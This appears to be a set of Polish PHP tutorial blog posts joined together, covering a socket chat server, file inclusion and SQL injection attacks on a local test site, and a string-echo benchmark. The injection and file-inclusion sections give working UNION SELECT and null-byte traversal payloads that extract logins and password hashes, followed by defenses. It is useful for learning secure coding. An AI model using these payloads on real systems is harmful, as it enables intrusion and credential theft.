Paczka jest dostępna pod adresem: http://srodek.info/files/MoheboFramework-0.2.tar.gz
Dokumentację można znaleźć na http://mohebo.com

Poprawiony kod wygląda tak:

<?php 
set_time_limit(0);
 
class GameClient
{
   public $id;
   private $socket;
 
   public function __construct(&$socket, $id)
   {
      $this->socket = $socket;
      $this->id = $id;
   }
 
   public function sendMessage($message)
   {
      socket_write($this->socket, $message."\n".chr(0));
      echo 'Wysylam wiadomosc do '.$this->id.': '.$message."\n";
   }
 
}
 
class GameServer
{
   private $master;
   private $address; 
   private $port; 
   private $maxClients;
   private $sockets = array();
   private $clients = array();
 
   public function __construct($address = '127.0.0.123', $port=14117, $maxClients = 10)
   {
      $this->address = $address;
      $this->port = $port;
      $this->maxClients = $maxClients;
 
      $this->master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
      socket_bind($this->master, $this->address, $this->port);
      socket_listen($this->master);
      $this->sockets[] = $this -> master;
 
      while(true)
      {
         $changedSockets = $this->sockets;
         socket_select($changedSockets,$write=null,$exceptions=null,null);
 
         foreach($changedSockets as $socket)
         {
            // zmiana gniazda głównego => nowe polaczenie
            if($socket == $this->master)
            {
               $socket = socket_accept($this->master); 
 
               $this->sockets[] = $socket;
               $id = array_search($socket, $this->sockets);
                $this->clients[] = new GameClient(&$this->sockets[$id], $id);
 
            }
            // zmiana gniazda jednego z klientów
            else
            {
               $input = socket_read($socket, 1024); 
               $input = trim($input," \t\n\r");
 
               if(strlen($input)==0 || $input=='exit')
               {
                  $output = 'Bye bye!'."\n".chr(0); 
 
                  // send data to socket 
                  socket_write($socket, $output);
 
                  $id = array_search($socket, $this->sockets);
                  unset($this->sockets[$id]);
                  unset($this->clients[$id-1]);
 
                  socket_close($socket);
               }
               else
               {
                  $command = (strpos($input,' ')!==false)
                      ? substr($input,0, strpos($input,' '))
                      : $input;
 
                  switch($command)
                  {
                     case 'hello':
                        $output = 'Hello!';
                        break;
                     case 'list':
                        // identyfikatory wszystkich gniazd
                        $all = array_keys($this->sockets);
                         // identyfikator uzytkownika
                        $id = array_search($socket, $this->sockets);
                        // usuniecie ID glownego gniazda oraz gniazda uzytkownika
                        $all = array_diff($all, Array(0, $id));
 
                        if(empty($all))
                           $output='Nie ma innych osob';
                        else
                           $output='ID innych osob to: '.implode(', ',$all);
                        break;
                     default:
                        if(is_numeric($command))
                        {
                           // identyfikator uzytkownika
                           $id = array_search($socket, $this->sockets);
                           // wyslanie wiadomosci do wszystkich
                           if($command=='0')
                           {
                              foreach($this->clients as $client)
                              {
                                 // nie wysylamy do siebie
                                 if($client->id!=$id)
                                    $client->sendMessage(substr($input,strpos($input,' ')+1));
                              }
                              $output = 'Do wszystkich';
                           }
                           // nie wysylamy do siebie, uzytkownik istnieje
                           elseif($command!=$id && isset($this->sockets[$command]))
                           {
                              // jeden mniejszy ponieważ $this->master znajduje sie
                              // w tablicy gniazd a nie jest klientem
                              $this->clients[$command-1]->sendMessage(substr($input,strpos($input,' ')+1));
                              $output = 'OK';
                           }
                           else
                              $output ='Bledny ID'; 
                        }
                        else
                           $output = 'Niezrozumiale polecenie: '.$input.''; 
                  }
                  socket_write($socket, $output."\n".chr(0));
               }
            }
         }
      }
   }
 
   public function __desctruct()
   {
      socket_close($this->master); 
   }
}
 
$gameServer = new GameServer();
?>

Czas na krótką analizę. Pierwsze co rzuca się w oczy to nowa klasa GameClient. Jest to klasa, z którą wiążę pewne plany. Obiekty tej klasy przechowują dwie rzeczy — gniazdo oraz jego identyfikator. Metoda sendMessage() służy do wysyłania wiadomości do użytkownika, który jest podpięty do tego gniazda.

W klasie GameServer pojawiły się dwa nowe pola prywatne, tablica sockets przechowująca wszystkie gniazda dostępne dla serwera oraz tablicę clients przechowującą obiekty klasy GameClient.

Ogólne założenia się nie zmieniły — wciąż istnieje pętla nieskończona jednak jej zawartość została zmodyfikowana.

$changedSockets = $this->sockets;
socket_select($changedSockets,$write=null,$exceptions=null,null);

Użyliśmy tutaj funkcji socket_select(). W parametrach podajemy referencje(dlatego pierwsza linijka jest konieczna) do tablic gniazd, a funkcja pozostawia w nich jedynie te elementy, w których zaszły pewne zdarzenia. Pierwszy parametr odpowiada czy czytanie, czyli wybrane zostaną jedynie te gniazda, które coś przesyłają do serwera. Drugi i trzeci parametr odpowiadają za pisanie oraz wyjątki lecz nas one nie interesują. Ostatni parametr dotyczy limitu czasu oczekiwania na wybranie poszczególnych gniazd. Null oznacza brat limitu czasowego.

Następnie sprawdzamy każde z gniazd z tablicy $changedSockets. Jeśli gniazdo jest tym samym co gniazdo główne serwera oznacza to, że nowy użytkownik chce ustanowić połączenie. Robimy to tworząc nowe gniazdo i dopisując informacje o nim do tablic $this->sockets oraz $this->clients. W przypadku innych gniazd odczytywane są dane przesyłane do serwera.

$input = socket_read($socket, 1024); 
$input = trim($input," \t\n\r");

Używam funkcji trim() aby wyczyścić dane przychodzące do serwera z różnych niepotrzebnych białych znaków.

Pozostały kod to pseudo-protokół chatu. W przypadku przesłania komunikatu pustego lub wiadomości exit połączenie z użytkownikiem jest zrywane. Polecenie hello jest czysto demonstracyjne. W przypadku wpisania list pojawia się lista identyfikatorów innych użytkowników dostępnych aktualnie lub komunikat o ich braku. Wysyłanie komunikatów do innych użytkowników odbywa się w następujący sposób:

ID komunikat

Jeżeli ID wynosi zero wiadomość jest przesyłana do wszystkich uczestników chatu.

Serwer ten wciąż nie jest idealny. Nie zabezpiecza on przed połączeniem się zbyt dużej ilości użytkowników. Protokół również jest dosyć dziwny. W zasadzie stworzyłem go jedynie w celach edukacyjnych. Proponowałbym jego wymianę na coś przyjaźniejszego. Co warto dopisać do takiego serwera? Można spróbować uporać się z problemem pokojów dla różnych grup użytkowników. Zapewne te rzeczy opiszę niebawem na blogu lecz tymczasowo zrobię przerwę z php. Już niebawem sporo informacji na temat rysowania w obiekcie Canvas. Może zrobić jakąś fajną planszę w rzucie izometrycznym?

Sposób działania technologi AJAX

AJAX to rozwiązanie jednostronne. Klient prosi serwer o pewne informacje, a ten je wysyła użytkownikowi. Serwer nie posiada dokładnych informacji na temat ilości aktualnie połączonych użytkowników oraz nie może wysłać do żadnego z nich samodzielnie żadnej informacji(tj. może jedynie odpowiadać na ich zapytania).

Kocham robić te fajne obrazki i choć nie mają one niczego wspólnego z UML-em mam nadzieję, że jesteś w stanie je odczytywać

Przeanalizujmy przykład czatu internetowego w którym mamy trzech użytkowników(Client1, Client2, Client3). Pierwszy z nich chce wysłać informację do trzeciego. Wygląda to następująco:

• (1) Client1 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.
• (2) Client2 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.
• (3) Client3 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.
• (4) Client1 wysyła do serwera wiadomość przeznaczoną dla użytkownika Client3. Serwer zwraca informację o przyjęciu danych.
• (4,5) Serwer zapisuje wiadomość do swojego bufora(w tym przykładzie bazy danych)
• (5) Client2 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.
• (6) Client3 pyta serwer czy są jakieś wiadomości do niego.
• (6,5) Serwer odczytuje z bazy danych wiadomość oraz zwraca ją użytkownikowi.
• (7) Client1 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.
• (8) Client2 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.
• (9) Client3 pyta serwer czy są jakieś wiadomości do niego. Serwer zwraca informację o ich braku.
• (…)

Jak widać wykonywanych jest wiele niepotrzebnych zapytań. Każdy z klientów musi stale wysłać zapytanie do serwera co w przypadku małego czasu może powodować spore zużycie procesora serwera. W sytuacji, gdy czas będzie większy w grze pojawią się lagi. Jak ten problem rozwiązuje się w „normalnych“ grach internetowych? Używane są gniazda.

Jak działają gniazda

Szerokie linie oznaczają nasłuchiwanie serwera oraz klientów

Każdy z klientów musi ustanowić połączenie z serwerem. Serwer dla każdego z nich tworzy gniazdo za pomocą którego w dowolnym momencie może wysłać informację do jednego z użytkowników.

Wygląda to tak:

• (0) Client1, Client2, Client3 nawiązują połączenie z serwerem(tworzone są gniazda)
• (1) Client1 wysyła wiadomość do serwera (serwer zwraca komunikat o sukcesie)
• (2) Serwer odnajduje gniazdo trzeciego użytkownika
• (3) Serwer wysyła wiadomość do Client3

W odróżnieniu do technologi AJAX w tym przypadku nasz serwer napisany w php musi ciąglę nasłuchiwać, a więc proces tego skryptu musi być cały czas uruchomiony. W tym celu tworzy się pętlę nieskończoną, którą cięgle sprawdza stan gniazda serwera.

Pierwsza implementacja

Spróbujmy stworzyć pierwszy działający serwer. Nie będzie on pozwalał na przekazywanie danych innym użytkownikom, a połączenia nie będą utrzymywane.

<?php 
set_time_limit(0);
 
class GameServer
{
	private $master;
	private $address; 
	private $port; 
	private $maxClients;
 
	public function __construct($address = '127.0.0.1', $port=14117, $maxClients = 10)
	{
		$this->address = $address;
		$this->port = $port;
		$this->maxClients = $maxClients;
 
		$this->master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
		socket_bind($this->master, $this->address, $this->port);
		socket_listen($this->master); 
 
		while(true)
		{
                        // akceptujemy połączenie, tworzymy gniazdo 
			$socket = socket_accept($this->master); 
 
			// odczytujemy informacje z gniazda
			$input = socket_read($socket, 1024); 
 
			// przygotowujemy dane do wysyłki
			$output = 'Wyslales do serwera: '.$input.chr(0); 
 
			// Wysyłamy dane użytkownikowi
			socket_write($socket, $output);
 
                        // zamykamy połączenie z użytkownikiem
			socket_close($socket); 
		}
	}
 
	public function __desctruct()
	{
		// zamknięcie głównego gniazda
		socket_close($this->master); 
	}
}
 
$gameServer = new GameServer();
?>

Tworzymy obiekt $gameServer. W konstruktorze możemy podać kilka parametrów: adres i port pod jakim serwer będzie nasłuchiwał oraz maksymalną ilość użytkowników(ta zmienna nie jest używana w tym przykładzie lecz przyda się później).

Kilka słów o numeracji portów

W przypadku IP w wersji czwartej do dyspozycji mamy 2¹⁶ portów. Te o numerach poniżej 1024 wymagają uprawnień administracyjnych. W większości przypadków są one już zarezerwowane dla innych usług(np. 80 dla http, 23 dla ftp, 21 dla telnet itd.). Najwygodniej jest po prostu ich nie ruszać.

Do zmiennej $this->master zapisywane jest główne gniazdo serwera tworzone za pomocą socket_create(). To ono będzie odbierało wszystkie informacje przychodzące od innych użytkowników. Co oznaczają parametry wewnątrz?

• Pierwszy informuje jaka rodzina protokołów będzie używana w przypadku naszego gniazda. AF_INET określa, że będą to protokoły(TCP oraz UDP) w oparciu o IPv4. Możemy również poinformować o użyciu IPv6 zamieniając ten parametr na AF_INET6.
• Drugi parametr określa rodzaj transmisji. Do wyboru mamy:
  • SOCK_STREAM — informacje przesyłane są w obu kierunkach jednocześnie, bez spadku transferu, sekwencyjnie oraz niezawodnie za pomocą strumieni bajtów. Bazowym protokołem jest TCP.
  • SOCK_DGRAM — datagramowy protokół bezpołączeniowy z brakiem kontroli przepływu i retransmisji. Bazowym protokołem jest UDP(To jest dobry wybór w przypadku pisania gry internetowej!).
  • SOCK_SEQPACKET — informacje przesyłane są w obu kierunkach jednocześnie, bez spadku transferu, sekwencyjnie. Od klienta wymagane jest aby odczytywane były całe pakiety przy każdym zapytaniu.
  • SOCK_RAW — gniazdo RAW czyli bezpośredni do niego dostęp. Umożliwia to stworzenie własnego protokołu komunikacji. Opcja raczej dla zaawansowanych użytkowników.
  • SOCK_RDM — niezawodna transmisja pakietów nie gwarantująca porządkowania pakietów. Ta opcja nie zadziała w wielu systemach operacyjnych. Raczej dla zaawansowanych użytkowników.
• Ostatni parametr to po prostu ID protokołu. W przypadku TCP oraz UDP możemy skorzystać ze stałych SOL_TCP(6) oraz SOL_UDP(17). Pełną listę identyfikatorów znajdziesz w /etc/protocols

W naszym przykładzie stworzyliśmy gniazdo wykorzystujące protokół TCP. W kolejnej lini informujemy nasze gniazdo pod jakim adresem i jaki port ma nasłuchiwać. Gdy to określimy uruchamiamy nasłuchiwanie.

Ten proces jest bardzo prosty. Stworzona została pętla nieskończona, która przy każdym obrocie akceptuje gniazdo przychodzące. następnie odczytuje z niego dane, odsyła je do użytkownika oraz zamyka połączenie. Serwer uruchomiony raz będzie działał w nieskończoność(prawie w nieskończoność ) więc ważne jest aby wyłączyć sprawdzanie czasu wykonywania się skryptu. W tym celu w pierwszej linijce kodu widnieje wywołanie funkcji set_time_limit()

Testujemy serwer

Uruchom konsolę z dwoma zakładkami. Aby uruchomić nasz serwer w pierwszej wpisz:

php server.php

W drugiej spróbujmy aktywował połączenie

hellson@hellson:~> telnet 127.0.0.1 14117
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Hello
Wyslales do serwera: Hello
Connection closed by foreign host.
hellson@hellson:~>

W przypadku zamknięcia skryptu wykonany zostanie destruktor zamykający gniazdo główne.

Mam nadzieję, że ten artykuł ułatwił ci zrozumienie idei gniazd. Już jutro kontynuacja tematu. Ulepszę kod serwera tak aby odbierał informacje od różnych użytkowników jednocześnie. Połączenie będzie utrzymywane aż do momentu wpisania „exit“ przez użytkownika.

Na atak są podatne strony wykorzystujące takie funkcje jak np. file(), file_get_contents(), include(), include_once(), require() i inne czytające dane z jakiegoś pliku. Ważne aby w paramtr określający adres czytanych zasobów był zależny od jakiejść zmiennej przesłanej przez użytkownika. Przykładowy(bardzo popularny) kod:

include('strony/'.$_GET['page'].'.html');

Atak działa podobnie jak SQL Injection. Musimy tak spreparować adres aby odnosił się on do innego pliku. Spróbujmy wpisać:

example.com?page=../index

Skrypt powinien wczytać plik strony/../index.html czyli po prostu index.html. Problem stanowi rozszerzenie określone z góry przez programistę. Gdybyśmy się go pozbyli, możliwe byłoby dołączenie dowolnego pliku, do którego posiadamy uprawnienia. Zastanówmy się jednak w jaki sposób działają powyższe funkcje. Wiemy, że PHP jest pisany w C. Jako parametr podajemy ciąg znaków. Każdy programujący w C wie, że stringi w tym języku to po prostu tablice znaków wyglądające następująco:

Jakis ciag znakow\0

Znakiem który określa zakończenie napisu jest znak zero. Jest to spowodowane tym, że tablica może mieć większy rozmiar niż długość napisu. Jezyk C jest tak napisany, że sam nie zeruje wartośći w pamięci na które wskazujemy więc brak znaku zero powodowałoby wyświetlanie „śmieci“ z pamięci. Tak więc dobrym pomysłem byłoby wszczepienie znaku \0 do naszego zapytania. Spróbujmy wpisać w adresie strony coś takiego:

example.com?page=../index.php%00

Jak zinterpretuje to PHP? Do funkcji include() zostanie przekazany ciąg znaków strony/../index.php\0.html. Funkcja include otrzymując w parametrze tablicę znaków wybierze wszystkie aż do znaku \0. W ten sposób końcówka .html zostanie uznana za śmieci z pamięci. Jak się chronić przed tym atakiem? Wystarczy prosty test poprawności przesyłanych danych:

if( preg_match('/^[a-zA-Z0-9]*$/', $_GET['page']) )
  include('strony/'.$_GET['page'].'.html');

Ograniczenia? Niestety możemy uruchomić jedynie pliki znajdujące się na serwerze. Jest jednak kilka sposobów aby sobie z tym problemem poradzić. Następnym razem przedstawię jak uruchomić własny kod PHP w przypadku dziury przedstawionej w tym artykule oraz błędnej konfiguracji serwera.

Stwórzmy przykładową bazę danych „hack“ aby pokazać jak to wygląda od drugiej strony.

CREATE TABLE articles(
id int(10) AUTO_INCREMENT,
title varchar(80) NOT NULL,
content text NOT NULL,
author int(10),
category int(10),
PRIMARY KEY(id)
);
 
CREATE TABLE users(
id int(10) AUTO_INCREMENT,
login varchar(40) NOT NULL,
email varchar(60) NOT NULL,
password varchar(32) NOT NULL,
PRIMARY KEY(id)
);

Wypełnijmy je danymi:

mysql> select * from articles;
+----+--------------+----------+--------+----------+
| id | title        | content  | author | category |
+----+--------------+----------+--------+----------+
|  1 | Artykul nr 1 | tresc... |      1 |        2 |
|  2 | Artykul nr 2 | tresc... |      3 |        1 |
|  3 | Artykul nr 3 | tresc... |      2 |        1 |
|  4 | Artykul nr 4 | tresc... |      3 |        2 |
+----+--------------+----------+--------+----------+
mysql> select * from users;
+----+--------+--------------------+----------------------------------+
| id | login  | email              | password                         |
+----+--------+--------------------+----------------------------------+
|  1 | Michal | michal@example.com | 1660fe5c81c4ce64a2611494c439e1ba |
|  2 | Magda  | romek@example.com  | 9d0250b24620c2056516e5d2d79eed4a |
|  3 | Romek  | romek@example.com  | 944278ab01f435bfc369fa038130f25b |
+----+--------+--------------------+----------------------------------+

Czas na kod PHP odpowiedzialny za pobieranie artykułów. Pomijam filtrowanie zmiennych przychodzących. Wygląda to mniej więcej tak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php
$mysqli = new mysqli('localhost', 'root', '', 'hack');
 
if(isset($_GET['id']))
  $result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id='.$_GET['id']);
else
  $result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id');
 
while($row = $result->fetch_array())
{
  echo '<h2>'.$row['title'].'</h2>';
  echo '<strong>Author: '.$row['author'].'</strong>';
  echo '<p>'.$row['content'].'</p>';
}
?>

Wystarczy mała nieuwaga aby skrypt był dziurawy jak ser szwajcarski. Co więcej, dziurę taką da się bardzo łatwo wykryć — wystarczy apostrof lub cudzysłów.

http://localhost/hack/sql/?id=1'

Naszym oczom ukaże się błąd:

Fatal error: Call to a member function fetch_array() on a non-object in /home/hellson/public_html/hack/sql/index.php on line 27 

Jest to informacja, że użytkownik może wpływać na treść zapytania SQL. Dlaczego tak się dzieje? PHP bezmyslnie umieszcza zmienną $_GET[’id’] do zapytania SQL które teraz wygląda tak:

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1'

Jest to niepoprawne zapytanie więc php zwraca błąd metody fetch_array(). Tym samym jest to informacja, że haker może spreparować własne zapytania, które zwrócą mu loginy i hasła. Oczywiście w sytuacji gdy nie zna on struktury bazy danych jest to troszkę utrudnione lecz wciąż możliwe. Aby uświadomić o jakie aspekty należy zadbać warto dowiedzieć się jak to robi przeciętny włamywacz.

Od strony hakera

Pierwszym krokiem jest sprawdzenie czy rzeczywiście możemy wpływać na zapytanie. Najlepiej jest dopisać nic nie znaczące „OR 1=1″

http://localhost/hack/sql/?id=1 OR 1=1

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 OR 1=1

Naszym oczom powinna ukazać się pełna lista artykułów zamiast tylko jednego lub jeśli na stronie moduł pobiera tylko pierwszy rekord otrzymamy inny niż jest sprecyzowany w zmiennej id(oczywiście należy wziąć pod uwagę sortowanie). Kolejnym krokiem jest wprowadzenie własnego zapytania. Najczęściej używa się UNION ponieważ jest to najprostsza technika. UNION połączy 2 zapytania tylko wtedy gdy będą one posiadać taką samą ilość kolumn. Warto więc najpierw to sprawdzić metodą prób i błędów pobierając kolejno 2 NULL-e, 3 NULL-e itd. W naszym przykładzie wystarczy sześć.

http://localhost/hack/sql/?id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL

Sprawdzmy, które pola odpowiadają poszczególnym rzeczom wyświetlanym na stronie.

http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL

Zauważ, że nie podaję jeszcze nazwy tabeli aby nie komplikować sobie całej operacji. W przypadku otwartych rozwiązań sprawa jest prosta ponieważ wystarczy zajrzeć w kod i odczytać nazwy tabel. Czasami skrypty wyświetlają komunikat o błędzie SQL, który zawiera zapytanie(sic!). Ewentualnym problemem mogą być prefiksy w nazwach. Metodą prób i błędów można jednak odkryć, że tabele z naszego przykładu to „articles“ oraz „users“

http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users

Pozostała część to już jedynie formalność. Należy pobrać odpowiednią ilość elementów z tabeli users.

http://localhost/hack/sql/?id=1 UNION SELECT users.*,NULL,NULL FROM users

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT users.*,NULL,NULL FROM users

Gotowe! Zamiast artykułów mamy loginy i hasła. Jeśli programista jest początkujący prawdopodobnie nie dodaje soli do haseł a te są kodowane za pomocą MD5. Wystarczy w google pisać „md5 database“ aby szybko znaleźć stronę, która dopasuje odpowiedni ciąg znaków do podanego hasha. Można w ten sposób spokojnie odkodować hasła przynajmniej połowy użytkowników przeciętnego portalu internetowego. Sprawa jest utrudniona, gdy tabela users zawiera np. 15 kolumn. Wtedy odgadnąć trzeba również nazwy pól.

http://localhost/hack/sql/?id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users

Jeśli strona jest słabo zabezpieczona to prawdobodobnie również nazwy tabel i pól są proste to odgadnięcia. Dla dobrego hakera wszystko jest kwestią czasu. Oczywiście twórca strony może troszkę udziwniać np. umieścić wartość w cudzysłowiach jednak to też mu niewiele da ponieważ wystarczy wpisać:

http://localhost/hack/sql/?id=1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1

SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id="1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1"

Oczywiście to nie wyczerpuje tematu i być może kiedyś rozwinę jeszcze temat dziurawych zapytań SQL.

Jak się zabezpieczyć?

Najprostszym ze sposobów zabezpieczania się jest użycie mysqli::real_escape_string(). Aby uniemożliwić atak wystarczy aby nasz kod wyglądał tak:

5

$result = $mysqli->query('SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id="'.$mysqli->real_escape_string($_GET['id']).'"');

Osobiście jednak preferuję filtrowanie wszystkich danych przychodzących wedle własnych wzorców tak aby wykluczyć np. uruchomienie zapytania z ciągiem znaków zamiast cyfr, filtracje kodu html, znaków specjalnych itp. Świetnym rozwiązaniem wprowadzonym w php5 wraz z mysqli jest bindowanie parametrów(podobnie jak to ma miejsce w QT) ale o tym napiszę innym razem.

1
2
3

$cat = 'Mruczek';
echo "Mój kot ma na imię $cat i jest zawsze wesoły.";
echo 'Mój kot ma na imię '.$cat.' i jest zawsze wesoły';

Sposób działania jest prosty. Podczas użycia cudzysłowów ciąg znaków jest przeszukiwany w pod kątem posiadania jakichś zmiennych. Tutaj one istnieją więc skrypt podstawia pod $cat ciąg znaków Mruczek. Następnie wyrzuca na wyjście gotowy napis. W przypadku użycia apostrofów jest troszkę inaczej. PHP nie wyszukuje żadnych zmiennych ponieważ ma jasno określone miejsce w którym te zmienne się znajdują, co sprawia, że całość działa czasami nawet kilkukrotnie szybciej.

Czy dałoby się to jeszcze bardziej przyspieszyć? Oczywiście . Wystarczy posłużyć się operatorem przecinka zamiast kropki.

4

echo 'Mój kot ma na imię ',$cat,' i jest zawsze wesoły';

Większość programistów o tym nie wie ale w przypadku operatora kropki, PHP najpierw tworzy wynikowy ciąg znaków co powoduje dodatkowe obciążenie pamięci. Przy dwóch kropkach tworzone są dwie nowe zmienne String(lub dwie tablice znaków — nie będę się zagłębiał w kod wewnętrzny PHP). Jeśli użyjemy przecinków, PHP po prostu będzie każdy z elementów interpretował jak kolejne parametry(choć pamiętajmy — echo nie jest funkcją!) i wyrzucał je bezpośrednio na wyjście. Pytanie: czy opłaca się buforować wyjście za pomocą kropki(np. w przypadku długiego czasu dostępu do wyjścia)? To już pozostawiam wam do przemyśleń. Poniżej testy prędkości przy użyciu Apache Benchmark:

Wersja z cudzysłowami:

Time taken for tests: 100.027 seconds
Complete requests: 32772
Failed requests: 0
Write errors: 0
Total transferred: 8206540669 bytes
HTML transferred: 8201253107 bytes
Requests per second: 327.63 [#/sec] (mean)
Time per request: 305.219 [ms] (mean)


Wersja z apostrofami:

Time taken for tests: 100.018 seconds
Complete requests: 42646
Failed requests: 0
Write errors: 0
Total transferred: 10669918695 bytes
HTML transferred: 10663047537 bytes
Requests per second: 426.38 [#/sec] (mean)
Time per request: 234.531 [ms] (mean)


Wersja z przecinkiem:

Time taken for tests: 100.029 seconds
Complete requests: 44111
Failed requests: 0
Write errors: 0
Total transferred: 11039258426 bytes
HTML transferred: 11032150759 bytes
Requests per second: 440.98 [#/sec] (mean)
Time per request: 226.766 [ms] (mean)


Nie będę już kombinował w gnuplocie aby stworzyć ładne wykresy, ale na oko widać, że wersja z przecinkiem sprawuje się najlepiej. Oczywiście wyniki należy przyjąć z lekkim przymrużeniem oka ponieważ Apache Benchmark najlepszym narzędziem nie jest. Warto również uruchomić dobre oprogramowanie do monitorowania pamięci RAM, bo to tam najwięcej zachodzi zmian — szczególnie przy wyświetlaniu dużych partii tekstu.